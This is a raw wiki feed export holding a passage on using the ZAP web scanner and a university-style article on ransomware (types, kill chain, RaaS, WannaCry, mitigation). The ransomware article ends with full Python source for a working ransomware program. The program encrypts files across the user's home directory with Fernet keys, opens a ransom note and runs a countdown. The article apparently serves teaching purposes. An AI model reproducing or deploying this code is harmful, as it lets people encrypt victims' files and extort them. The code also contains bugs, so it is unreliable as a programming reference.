As stated in the principles, ZAP targets all skill levels, from those new to security testing who will probably start out by using automated tests, to developers that run security tests for a living and which make use of a variety of features including manual tests. The flexibility and extensibility (via add-ons in the ZAP marketplace) that ZAP provides, makes it a popular choice among security testers.&lt;br /&gt;
Since we’re talking about security, to a lot of people it is also important to know what their security tools really can do. ZAP is open  source and code examination is possible. If desired, one can look at how certain functions are implemented. The developers are transparent about which data ZAP is collecting (e.g. checks for new versions) and also how that background data can be controlled or even disabled (where possible).&lt;br /&gt;
The ZAP community is also very open to new developers, anyone can submit bug fixes or create additional features for ZAP.&lt;br /&gt;
&lt;br /&gt;
==How-To==&lt;br /&gt;
===Installation===&lt;br /&gt;
[[File:Zap-installation.png|thumb|ZAP Installation]]&lt;br /&gt;
&lt;br /&gt;
First, go to the [https://www.zaproxy.org/download/ Download section on the official website for ZAP] and select the installer for your operating system.&lt;br /&gt;
&lt;br /&gt;
Additionally, Java version 8 or higher must be installed. There are no additional requirements.&lt;br /&gt;
&lt;br /&gt;
=== Test target ===&lt;br /&gt;
If you want to try out the features of ZAP and do not want to set up your own server, you can find places like [https://public-firing-range.appspot.com/ https://public-firing-range.appspot.com/] which is a free-to-use online installation of Google&#039;s Firing Range. Do NOT run active features of ZAP against public websites without permission, you might alter data and this kind of attack can be prosecuted!&lt;br /&gt;
&lt;br /&gt;
===Persistent Sessions===&lt;br /&gt;
[[File:Zap-persist session.png|thumb|ZAP Session Persistence]]&lt;br /&gt;
After opening ZAP you are asked if you want to persist the session.&lt;br /&gt;
ZAP is able to save its sessions. In other words, collected and analysed data from web applications are saved. It enables the user to continue their analysis of the webapplication without the need to reach the web application.&lt;br /&gt;
Caution is advised. The more aggressive ZAP is attacking, the more data will be collected. A few minutes of scanning can result to hundreds of Megabytes.&lt;br /&gt;
&lt;br /&gt;
===Modes===&lt;br /&gt;
ZAP has different modes to to choose from:&lt;br /&gt;
* Safe: only allows operations, that are not considered dangerous. Dangerous meaning, manipulating requests and attacking the web application&lt;br /&gt;
* Protected: the officially recommended mode. it allows dangerous operations, but only on URLs that were put in the Scope of our target or in other words, only selected sites will be attacked.&lt;br /&gt;
* Standard: ZAP is allow to to do anything to the web application&lt;br /&gt;
* ATTACK: ZAP actively scans new nodes as soon as they are discovered.&lt;br /&gt;
&lt;br /&gt;
===Quickstart/Automated Scan===&lt;br /&gt;
[[File:Zap-quickstart.png|thumb|ZAP Quickstart]]&lt;br /&gt;
The easiest way to start using ZAP is via the Quick Start tab.&lt;br /&gt;
To run a Quick Start/Automated Scan:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window.&lt;br /&gt;
* Click the large Automated Scan button.&lt;br /&gt;
* In the URL to attack text box, enter the full URL of the web application you want to attack.&lt;br /&gt;
* Click the Attack button&lt;br /&gt;
&lt;br /&gt;
===Manual Scan===&lt;br /&gt;
[[File:Zap-hud firefox.png|thumb|ZAP HUD Welcome Message]]&lt;br /&gt;
A manual scan can be done the following way:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window. (see above)&lt;br /&gt;
* Click the large Manual Explore button.&lt;br /&gt;
* In the URL to explore text box, enter the full URL of the web application you want to explore.&lt;br /&gt;
* Select the browser you would like to use&lt;br /&gt;
* Click the Launch Browser&lt;br /&gt;
&lt;br /&gt;
Next you will be presented with a welcome message that includes the HUD tutorial (see figure &amp;quot;ZAP HUD Welcome Message&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
=== Spider ===&lt;br /&gt;
[[File:Zap-spider.png|thumb|ZAP Spider]]&lt;br /&gt;
After starting an automated scan the Spider tab opens up in ZAP. The Spider &amp;quot;crawls&amp;quot; through the web application and tries to find every page of the web application.&lt;br /&gt;
===Add-Ons===&lt;br /&gt;
There is a &#039;&#039;&#039;Marketplace&#039;&#039;&#039; for ZAP where extra Add-ons for ZAP can be found. These make it possible to extend the functionality of ZAP even further, and typically it is possible to add or remove them without restarting the ZAP application.&lt;br /&gt;
Usually Add-ons are assigned one of the following states:&lt;br /&gt;
* Release: high-quality add-on&lt;br /&gt;
* Beta: reasonable quality but possibly incomplete or still requires testing • Alpha: requires further development&lt;br /&gt;
&lt;br /&gt;
[[File:Zap-addons.png|thumb|Manage Add-Ons]]&lt;br /&gt;
You can reach the marketplace by clicking on the blue-red-green squares symbol in the UI, it stands for &amp;quot;Manage Add-Ons&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===User Agent Settings===&lt;br /&gt;
If you go to &#039;&#039;Tools → Options → Connection&#039;&#039; in the ZAP GUI you can configure the Default User Agent (as in, which browser as well as operating system) that ZAP should pretend to be when connecting to websites. You may get different responses depending on this, especially older websites did have their own configurations for Internet Explorer that were unlike those for other browsers.&lt;br /&gt;
&lt;br /&gt;
=== API ===&lt;br /&gt;
It is possible to interact with ZAP using its powerful Application Programming Interface (API), almost every feature that the GUI offers can be accessed via API and more features are being added with future versions. It also helps not only beginners that there is an [https://www.zaproxy.org/docs/api extensive documentation] for the API, giving examples for Shell script, Python and Java commands to run features.&lt;br /&gt;
&lt;br /&gt;
Requests to the API are via GET and POST endpoints, responses are available in a variety of formats such as JSON, HTML and HTML but also custom formats such as HAR. The content of the response formats is always the same but the developer can select the format that best fits their use case depending on what they are looking for. There are recommendations given such as using HTML for good readability in reports, JSON or XML if one is looking to quickly parse the returned result.&lt;br /&gt;
&lt;br /&gt;
It is also possible to use ZAP to scan APIs and even automate the scanning process for these API scans, using the same file formats we that we use for ZAP’s own API (JSON, etc.). However, the main problem with scanning APIs is the exploration, figuring out what to target and using which methods since most of the time browsing or spidering will not lead to useful results for APIs.&lt;br /&gt;
&lt;br /&gt;
====Why is an API key required by default?====&lt;br /&gt;
Since ZAP can be controlled via API, we also must protect it from malicious sites or attackers that are looking to basically remotely control our ZAP installation or make changes to it. So it was decided to make the usage of an API key mandatory to hinder these attempts.&lt;br /&gt;
&lt;br /&gt;
===Attack the OWASP Top 10 using ZAP===&lt;br /&gt;
One of the many guides found at the ZAP website is about how to attack the Top 10 security threats using ZAP. &lt;br /&gt;
The content of the following tables is taken from the [https://www.zaproxy.org/docs/guides/zapping-the-top-10-2021/ Zapping the Top 10 Guide].&lt;br /&gt;
The last OWASP Top 10 was 2017. Current OWASP Top 10 is from 2021, which has three new categories, with naming and scoping changes, and some combined vulnerabilities in the Top 10 for 2021. &lt;br /&gt;
More information about the Top 10 can be found on their [https://owasp.org/www-project-top-ten OWASP Top Ten Page].&lt;br /&gt;
[[File:OwaspTop10.png|thumb|none|upright=2.0|OWASP Top 10 2021]]&lt;br /&gt;
&lt;br /&gt;
===Passive versus Active Scanning===&lt;br /&gt;
Passive scanning is considered safe and legal. It is used to find vulnerabilities without modifying requests nor malicious actions. It is also run in a background thread so it does not negatively affect the performance when exploring an application.&lt;br /&gt;
&lt;br /&gt;
Active Scanning is considered malicious and should only be used when verbal or written permission of the owner of the target web application is acquired. Active Scan is defaultly running in Standard and Attack Mode.&lt;br /&gt;
&lt;br /&gt;
Limitations of a standard passive scan are that pages that require a login can not be accessed by ZAP since the authentication will not be handled by ZAP. It is, however, possible to configure the functionality to authenticate. Another limitation is that the sequence in which a passive scan explores the target is pretty much uncontrollable. But ZAP offers a solution for almost every limitation, and that means there are many extra features in ZAP for exploring and attacking other than the passive scan. For exploring a site we already mentioned spidering as a viable option but we need to keep in mind that they also are rather limited when it comes to filling out forms, they may enter default data or random strings instead of the required information. So it is suggested that spidering is used in combination with manual exploration, so that an actual user can, for example, fill out form data if an error message is returned.&lt;br /&gt;
&lt;br /&gt;
Another recommendation for exploration is to take a look at the web application with a browser proxying through ZAP, the benefit of this method is that all requests and responses undergo a passive scan by ZAP and a site tree is built. Additionally, ZAP will record potential vulnerabilities that it finds for future reference.&lt;br /&gt;
&lt;br /&gt;
== Videos ==&lt;br /&gt;
&lt;br /&gt;
A series of short videos (~10 mins each) about different ZAP features can be found both [https://www.zaproxy.org/zap-in-ten/ here] and [https://www.alldaydevops.com/zap-in-ten here].&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [https://www.zaproxy.org/docs/ Official Documentation for ZAP]&lt;br /&gt;
* R. S. Devi and M. M. Kumar, &amp;quot;Testing for Security Weakness of Web Applications using Ethical Hacking,&amp;quot; 2020 4th International Conference on Trends in Electronics and Informatics (ICOEI)(48184), Tirunelveli, India, 2020, pp. 354-361, doi: 10.1109/ICOEI48184.2020.9143018.[https://ieeexplore.ieee.org/document/9143018]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=9384</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=9384"/>
		<updated>2022-01-06T11:32:36Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC or Data, and blocking access to it, in an attempt to extort money. Conventionally the attacker demands that the ransom is paid in a hard to trace digital currency like Monero, Ethereum or Bitcoin.&lt;br /&gt;
Modern day state of the art Ransomwares (which are mostly Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic and Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
** Symmetric&lt;br /&gt;
** Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange &amp;lt;ref name=&amp;quot;keyexchange&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency. There is no other easy way to decrypt the data than using the decryption key. &amp;lt;br /&amp;gt;&lt;br /&gt;
The main currencies used for paying the ransom are digital cryptocurrencies like Monero, Etherium or Bitcoin, because they are:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
=== Screen-Lockers ===&lt;br /&gt;
&lt;br /&gt;
The main goal of screen-lockers is to restrict access to a victim’s system at the operating system level, meaning that the affected device or system cannot be used. The only thing that is displayed when booting the system, is typically a message demanding a ransom.&lt;br /&gt;
&lt;br /&gt;
=== Extortionware ===&lt;br /&gt;
&lt;br /&gt;
Extortionware is used by attackers to extort money from their victims, by gathering as much information as possible and stealing personal information and data that the victim wants to keep private. The attackers then usually threaten to release it, if the ransom is not paid. Mostly, none of the victim’s data is encrypted and none of their systems is blocked, but they have to pay if they do not want their private information to be leaked.&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain&amp;lt;ref name=&amp;quot;attackchain&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Distribution Types Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
==== Malicious Spam Emails ====&lt;br /&gt;
&lt;br /&gt;
In order to gain access and infect a system, the attacker sends a huge amount of malicious spam emails to as many people as possible. Known example are phishing emails which target specific persons or companies. Via social engineering and deception tactics, victims are tricked into downloading malicious files or clicking on malicious links, which if opened infect the victim&#039;s computer.&lt;br /&gt;
&lt;br /&gt;
==== Malicious Advertising ====&lt;br /&gt;
&lt;br /&gt;
Malicious advertising is a method for distribution malicious software by abusing advertisements. If an infected website is visited by a victim, malicious advertisements redirect the browser to another page. This page contains an exploits which infects the victim&#039;s computer. This happens while the victim does not notice any of it.&lt;br /&gt;
&lt;br /&gt;
==== Scareware ==== &lt;br /&gt;
&lt;br /&gt;
Scareware is used to scare victim&#039;s into downloading malicious software. Example would be a pop-up in the victim&#039;s browser telling them that their computer might be infected and they need a specific software to remove the problem. Often real looking banners, logos and names of legitimate antimalware-solution companies are used to lure victims into downloading malicious software.&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Ransomware as a Service (RaaS) ==&lt;br /&gt;
&lt;br /&gt;
Ransomware as a Service is a growing business model on the dark web used by ransomware developers to distribute and sell their malware as service. Anybody, even without much technical knowledge, can execute ransomware attacks by just subscribing to this service. RaaS kits are rather easy to find on the dark web, where they are advertised like a normal product. These services may also offer a dashboard where the attacker has an overview of the progress, or even documentation with a step-by-step guide on how to use the ransomware. There are different types of RaaS revenue models, like a monthly subscription for a flat fee, a one-time license fee or a monthly fee but where a specific percentage of the ransomware profits is going to the RaaS-provider.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software &amp;lt;ref name=&amp;quot;ghidra&amp;quot;/&amp;gt;]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 main.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 main.py --action decrypt --keyfile ./path/to/key&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;key&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30) #timer for encryption&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to key must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(key)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
* Malwarebytes.com. 2021. [https://www.malwarebytes.com/ransomware What is Ransomware?]&lt;br /&gt;
&lt;br /&gt;
* usa.kaspersky.com. 2021. [https://usa.kaspersky.com/resource-center/definitions/scareware What is Scareware?]&lt;br /&gt;
&lt;br /&gt;
* crowdstrike.com. 2021. [https://www.crowdstrike.com/cybersecurity-101/ransomware/ransomware-as-a-service-raas/ Ransomware as a Service (RaaS) Explained]&lt;br /&gt;
&lt;br /&gt;
* Kost, E., 2021. [https://www.upguard.com/blog/what-is-ransomware-as-a-service What is Ransomware as a Service (RaaS)?]&lt;br /&gt;
&lt;br /&gt;
Pictures:&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;keyexchange&amp;quot;&amp;gt; O’Reilly Online Learning. 2022. [https://www.oreilly.com/library/view/preventing-ransomware/9781788620604/fcce9fbd-3757-4466-8036-ce7ea1a578e2.xhtml Preventing Ransomware]&amp;lt;/ref&amp;gt;&lt;br /&gt;
